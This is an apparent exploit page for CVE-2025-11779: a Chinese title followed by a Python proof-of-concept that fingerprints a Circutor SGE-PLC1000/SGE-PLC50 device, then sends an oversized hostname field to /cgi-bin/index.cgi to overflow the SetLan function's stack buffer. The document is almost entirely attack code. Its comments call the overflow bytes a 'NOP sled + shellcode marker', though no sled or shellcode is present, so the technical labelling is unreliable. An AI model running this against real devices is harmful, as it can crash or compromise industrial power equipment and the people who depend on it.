CVE-2025-11779: Circutor SGE-PLC1000/SGE-PLC50 SetLan函数缓冲区溢出导致远程命令执行

import requests # CVE-2025-11779 PoC - Circutor SGE-PLC1000/SGE-PLC50 SetLan Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 with SetLan function vulnerability TARGET_IP = "<target_ip>" TARGET_PORT = 80 def exploit_cve_2025_11779(): """ Exploit for CVE-2025-11779: SetLan function buffer overflow in Circutor SGE-PLC devices This PoC demonstrates sending a crafted request to trigger the buffer overflow in SetLan function """ # Construct malicious payload with oversized parameter to trigger buffer overflow # The SetLan function does not properly validate input length before copying to stack buffer payload = { 'SetLan': 'eth0', # Network interface 'ipaddr': '192.168.1.100', 'netmask': '255.255.255.0', 'gateway': '192.168.1.1', # Overflow payload - oversized string to trigger stack buffer overflow 'hostname': 'A' * 1000 + '\x00' * 4 + '\x41\x42\x43\x44' # NOP sled + shellcode marker } url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/index.cgi" try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['hostname'])}") # Send crafted request to trigger SetLan function vulnerability response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent, Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Note: Target may be unreachable or already patched") def check_vulnerability(): """ Check if target is vulnerable by sending diagnostic request """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/index.cgi" # Basic fingerprint check params = {'action': 'GetLan'} try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Target appears to be a Circutor device") print(f"[*] Version check: Attempting to identify firmware version") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11779 PoC - Circutor SGE-PLC SetLan Overflow") print("=" * 60) if check_vulnerability(): print("[+] Target is potentially vulnerable") exploit_cve_2025_11779() else: print("[-] Target does not appear to be vulnerable")